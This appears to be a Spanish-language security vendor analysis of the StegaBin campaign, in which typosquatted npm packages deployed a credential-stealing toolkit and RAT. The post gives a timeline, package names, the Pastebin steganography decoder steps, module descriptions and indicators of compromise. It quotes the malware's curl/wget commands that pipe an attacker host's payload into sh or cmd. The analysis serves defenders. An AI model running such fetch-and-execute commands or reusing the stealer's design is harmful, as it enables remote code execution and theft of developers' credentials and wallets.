In this article
Dentro de StegaBin: cómo una campaña de esteganografía de Corea del Norte acaparó los titulares
A finales de febrero de 2026, un actor de amenazas norcoreano publicó 26 paquetes npm maliciosos desde cuentas descartables durante dos días. Los paquetes usaban esteganografía de texto para ocultar URL de comando y control dentro de publicaciones de Pastebin disfrazadas de ensayos de informática. Desplegaron un ladrón de información modular de nueve componentes y un RAT que apuntaban a credenciales de navegador, billeteras de criptomonedas, claves SSH y configuraciones de VS Code. La infraestructura abarcaba 31 implementaciones de Vercel con mecanismos de respaldo automatizados.
La campaña generó una ola de cobertura: The Hacker News, SecurityOnline, GBHackers, DevOps.com y otros medios publicaron artículos. Socket publicó una entrada de investigación detallada que amplió el número original de 17 paquetes a 26.
Hasta donde podemos determinar, los paquetes tuvieron una adopción insignificante en el mundo real. Esto coincide con lo que suele ocurrir con este tipo de campañas.
Cronología
Fecha | Evento |
|---|---|
11 de febrero de 2026 | Se crean las publicaciones señuelo de Pastebin |
25 de febrero de 2026 | Se publican los primeros paquetes npm maliciosos (\~19:38 UTC) |
26 de febrero de 2026 | Se publica el último lote (\~10:35 UTC) |
\~2 de marzo de 2026 | kmsec.uk publica la investigación original (17 paquetes); Socket amplía el análisis a 26 |
2 y 3 de marzo de 2026 | The Hacker News, SecurityOnline, GBHackers y otros medios publican artículos |
6 de marzo de 2026 | Se marcan todos los paquetes y se eliminan de npm |
9 de marzo de 2026 | Se publican los 26 avisos en Snyk Vulnerability Database |
Qué hace StegaBin en realidad
Antes de analizar lo que nos dicen los datos, vale la pena entender el trabajo técnico. La campaña, atribuida al grupo de amenazas alineado con Corea del Norte conocido como Contagious Interview (también llamado FAMOUS CHOLLIMA, DeceptiveDevelopment y PurpleBravo), representa una evolución en la forma en que el malware de npm resuelve su infraestructura de comando y control.
Los paquetes
Entre el 25 y el 26 de febrero de 2026, se publicaron 17 paquetes desde cuentas npm individuales descartables. El investigador de seguridad kmsec identificó el lote inicial; Socket amplió luego la cifra a 26. Todos los paquetes siguen el mismo patrón: typosquatting de bibliotecas populares con nombres que parecen plausibles.
Paquete | Imita a | Publicado |
|---|---|---|
| dayjs | 26 de feb., 10:35 UTC |
| cors | 26 de feb., 10:33 UTC |
| sequelize | 26 de feb., 10:16 UTC |
| express | 26 de feb., 10:05 UTC |
| lodash | 25 de feb., 22:31 UTC |
| fastify | 25 de feb., 22:07 UTC |
| vitest | 25 de feb., 22:21 UTC |
| prism | 25 de feb., 22:13 UTC |
| argon2 | 25 de feb., 21:51 UTC |
| bcrypt | 25 de feb., 21:46 UTC |
| ethers | 25 de feb., 19:38 UTC |
(Lista completa de 26: argonist, bcryptance, bee-quarl, bubble-core, corstoken, daytonjs, ether-lint, expressjs-lint, fastify-lint, formmiderable, hapi-lint, iosysredis, jslint-config, jsnwebapptoken, kafkajs-lint, loadash-lint, mqttoken, prism-lint, promanage, sequelization, typoriem, undicy-lint, uuindex, vitetest-lint, windowston, zoddle)
Todos los paquetes contienen el mismo código malicioso en vendor/scrypt-js/version.js (SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4). Un script install en el package.json del paquete ejecuta node ./scripts/test/install.js, que simplemente importa y ejecuta esta carga maliciosa.
El truco de esteganografía
Esta es la parte que le dio nombre y notoriedad a la campaña.
En lugar de codificar directamente los dominios de C2 (que se pueden bloquear fácilmente), el malware obtiene tres publicaciones de Pastebin que parecen ensayos comunes de informática. El texto oculta URL de C2 codificadas mediante esteganografía a nivel de caracteres: se reemplazaron caracteres en posiciones espaciadas de forma regular a lo largo del ensayo para formar direcciones de infraestructura.
El decodificador:
Elimina los caracteres Unicode de ancho cero del texto obtenido
Lee un marcador de longitud de 5 dígitos al principio
Calcula posiciones de caracteres espaciadas uniformemente a lo largo del texto
Extrae el carácter de cada posición
Divide el resultado usando el separador
|||, hasta llegar a===END===
Los tres señuelos de Pastebin se crearon el 11 de febrero de 2026, dos semanas antes de la publicación de los paquetes:
URL de Pastebin | Autor | Vistas |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
El número de vistas cuenta su propia historia. El Pastebin principal recibió 353 visitas (probablemente una combinación de análisis de investigadores y ejecuciones reales del malware). Los señuelos de respaldo casi no registraron actividad.
Entrega de cargas útiles según la plataforma
La URL de C2 decodificada apunta a una implementación de Vercel (ext-checkdin[.]vercel[.]app), con 31 dominios alternativos que siguen patrones como cleverstack-ext301, brightlaunch-app615, neuraldock-ext126. Los agentes de usuario que no son de curl reciben una página señuelo que dice "Suspendido de forma permanente".
El endpoint de Vercel sirve cargas útiles de shell específicas para cada plataforma:
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmdLas tres variantes se ejecutan en segundo plano (spawn(shellPath, shellArgs, { stdio: 'ignore', detached: true })), sin generar salida en la consola.
El ladrón de información de nueve módulos
La carga útil final es un conjunto modular de herramientas diseñado para extraer de forma exhaustiva credenciales y secretos del equipo de un desarrollador:
Módulo | Objetivo | Técnica |
|---|---|---|
bro | Credenciales del navegador | Extrae contraseñas guardadas de Chrome, Firefox, Opera y Edge |
j | Billeteras de criptomonedas | Apunta a los ID de 86 extensiones de navegador (MetaMask, Phantom, Coinbase Wallet, etc.) |
vs | VS Code | Inyecta un |
clip | Portapapeles/registrador de teclas | Revisa el portapapeles cada 500 ms, usa interceptores de teclado de bajo nivel y exfiltra datos en ciclos de 10 minutos |
git | Claves SSH y credenciales de Git | Extrae |
z | Sistema de archivos | Enumera y exfiltra archivos que coinciden con ciertos patrones |
truffle | Secretos en el código | Descarga y ejecuta TruffleHog, un analizador legítimo de secretos, en repositorios locales |
n | Acceso remoto | RAT persistente por WebSocket (se conecta a |
sched | Persistencia | Vuelve a implementar y activar todos los módulos después de reiniciar el equipo |
El módulo TruffleHog es una elección particularmente interesante: en lugar de crear su propio analizador de secretos, los atacantes descargan y convierten en arma una herramienta de seguridad de código abierto para encontrar claves de API, tokens y credenciales en el código de la víctima.
¿Alguien llegó a instalar estos paquetes?
npm marcó los 26 paquetes y los eliminó. Los avisos de todos ellos están disponibles en Snyk Vulnerability Database.
Según el número de vistas en Pastebin (353 en la publicación principal, 15 y 19 en las alternativas) y el hecho de que eran paquetes nuevos sin historial de descargas, su adopción en el mundo real parece haber sido insignificante.
No sorprende si se considera el diseño de la campaña. Son paquetes nuevos, sin historial de descargas ni dependientes, y no hay motivos para que un proyecto real los incluya. Sus nombres se parecen lo suficiente a los de paquetes reales como para engañar a alguien que recuerde mal el nombre de un paquete, pero expressjs-lint no va a aparecer por accidente en el archivo de bloqueo de nadie. Estos paquetes llegan a las víctimas mediante un flujo de ingeniería social específico: un reclutador falso envía a un candidato un "proyecto de prueba" que incluye el paquete malicioso entre sus dependencias. El objetivo son desarrolladores individuales durante entrevistas de trabajo, no sistemas de producción.
Un patrón recurrente
La campaña Contagious Interview está activa desde finales de 2023 y forma parte de una tendencia creciente de paquetes maliciosos en los ecosistemas de código abierto. Grupos alineados con Corea del Norte han publicado cientos de paquetes npm maliciosos en decenas de oleadas. Socket les hace un seguimiento detallado y ha publicado investigaciones exhaustivas sobre varias iteraciones. Las técnicas evolucionan (cargas útiles en Bitbucket, luego stagers directos, después Google Drive y ahora señuelos esteganográficos en Pastebin), pero el enfoque fundamental es el mismo: publicar nuevos paquetes descartables, usarlos en campañas de ingeniería social dirigidas y esperar que el objetivo los instale.
Cada oleada genera una nueva ronda de titulares y, en todos los casos, el impacto empresarial real es insignificante. Ningún archivo package-lock.json incluye zoddle ni daytonjs. El vector de ataque es la ingeniería social dirigida a desarrolladores individuales, y los paquetes son el mecanismo de entrega, no el punto de infiltración.
Cuándo sí importan los paquetes maliciosos
Las campañas de paquetes maliciosos que justifican responder a un incidente son las que comprometen paquetes que ya forman parte de tu árbol de dependencias.
En septiembre de 2025, el gusano Shai-Hulud se propagó mediante versiones troyanizadas de ngx-bootstrap, ng2-file-upload y @ctrl/tinycolor, paquetes con cifras reales de descargas y dependientes reales. La campaña inyectó hooks postinstall maliciosos en paquetes legítimos para robar credenciales de npm, GitHub y la nube de los equipos de los desarrolladores y los agentes de CI. Para noviembre, su sucesor, SHA1-Hulud, ya había afectado a más de 600 paquetes npm distintos, incluidos paquetes populares de Zapier, PostHog y Postman.

Ataque NPM Shai-Hulud: remediación con Snyk
Para profundizar en cómo funcionan los compromisos de paquetes legítimos, consulta la lección Compromiso de un paquete legítimo en Snyk Learn.
Qué significa esto para tu programa de seguridad
Para la mayoría de las organizaciones, el riesgo práctico de las campañas con paquetes maliciosos descartables es bajo. Esto es lo que ayuda:
1. Ten claro qué hay en tu árbol de dependencias. Si puedes responder en minutos, en lugar de días, a la pregunta "¿usamos alguno de estos 26 paquetes?", estás en una buena posición. Herramientas como Snyk Open Source marcan los paquetes maliciosos en cada análisis, por lo que, una vez publicados los avisos, los proyectos afectados aparecen automáticamente.
# Scan your project (includes malicious package advisories)
snyk test2. Fija tus dependencias. Usa archivos de bloqueo (package-lock.json, yarn.lock) y revisa sus cambios en los pull request. Los paquetes maliciosos descartables solo entran en tu código si alguien los agrega explícitamente. Una diferencia en el archivo de bloqueo que muestre un paquete nuevo y desconocido es una señal clara.
3. Enfoca la respuesta a incidentes en lo que llega a producción. Cuando una campaña de paquetes maliciosos aparece en las noticias, la primera pregunta que debes responder es: "¿Hay alguno de estos paquetes en nuestros proyectos?" Si la respuesta es no, reconoce la amenaza, confirma que no te afecta y sigue adelante. Reserva la investigación exhaustiva para los casos en los que los paquetes comprometidos ya estén en tu árbol de dependencias.
4. Capacita a los desarrolladores sobre la ingeniería social basada en procesos de contratación. La campaña Contagious Interview apunta directamente a los desarrolladores mediante entrevistas de trabajo falsas y "proyectos de evaluación". La sofisticación técnica está en el malware, pero el acceso inicial se obtiene mediante ingeniería social de toda la vida. Los desarrolladores deben tener cuidado al ejecutar proyectos desconocidos que envían los reclutadores, sobre todo si requieren npm install con paquetes que no reconocen.
Para obtener más información sobre cómo proteger tus dependencias npm, consulta Seguridad de NPM: cómo prevenir ataques a la cadena de suministro y Cómo prevenir paquetes maliciosos en el blog de Snyk.
Indicadores de compromiso (IOC)
Estos son los indicadores clave de esta campaña para los equipos de detección. starmtp/IOCs, kraven-security/hunting-packages y stamparm/maltrail también mantienen conjuntos completos de IOC en GitHub.
Hashes de archivos (SHA256):
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8Indicadores de red:
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appIndicadores del host:
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)Archivo
.vscode/tasks.jsonmodificado con espacios en blanco de 186 caracteres (persistencia en VS Code mediante el activadorrunOn: "folderOpen")
Comportamiento de procesos:
Node.js ejecuta
curlowgetBúsquedas DNS de Node.js a
pastebin.comSolicitudes de
curl/wgeta implementaciones de Vercel mediante el agente de usuarioEjecución del binario TruffleHog desde rutas no estándar
DOCUMENTO TÉCNICO
La crisis de seguridad de IA en tu entorno de Python
Con el ritmo de desarrollo acelerándose a un ritmo vertiginoso, ¿sabes realmente a qué puede acceder tu entorno de IA?